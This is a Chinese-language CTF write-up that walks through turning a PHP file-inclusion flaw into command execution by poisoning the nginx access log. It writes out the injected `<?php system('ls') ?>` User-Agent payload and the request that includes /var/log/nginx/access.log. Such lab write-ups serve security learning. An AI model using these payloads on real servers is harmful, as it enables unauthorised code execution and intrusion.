久仰日志注入大名,今天来分析分析。
1 |
|
冒号被过滤,不能用伪协议了。直接上日志注入。
先抓包看看响应头 server:
字段,确定是什么服务器软件。(浏览器 F12 也自带查看响应头的工具)
我抓出来是 server: nginx/1.20.1
,服务器为 nginx。上网查资料,nginx 日志文件位置为: /var/log/nginx/access.log
,一会儿要用。
大多数服务器日志会记录以下信息:
- 时间戳:请求发生的日期和时间。
- 客户端IP:访问者的IP地址。
- 请求方法:如
GET
、POST
、PUT
等。 - 请求路径:访问的URL或文件路径(如
/index.html
)。 - HTTP状态码:如
200
(成功)、404
(未找到)、500
(服务器错误)。 - User-Agent:客户端浏览器或设备信息(可能包含攻击载荷)。
- Referer:用户从哪个页面跳转而来(可能泄露敏感URL)。
- 请求参数:GET/POST参数(可能记录敏感数据,如密码、令牌等)。
也就是说可以在请求报文中修改部分信息,插入 PHP 代码,再包含日志文件(前面讲过只有 PHP 代码会被解析,文本会直接返回前端),以达到执行我们需要的命令的目的。
试试看:
第一次发包修改请求体为:
1 | file=<?php system('ls') ?> |
第二次发包修改请求行:
1 | GET /?file=/var/log/nginx/access.log HTTP/1.1 |
得到了一大堆日志文本,并没有 flag ,原来是日志文件里没有记录请求体,emmmmmm……
但日志文件里记录了请求头,再来一次!
第一次发包修改请求头User-Agent
为:
1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36<?php system('ls') ?> |
在一堆日志的最后找到了 fl0g.php index.php
,总算是成了。
接下来只需要查看文件 fl0g.php
的内容就好,OK。(PS:一大堆日志有点瞎眼,flag 难找)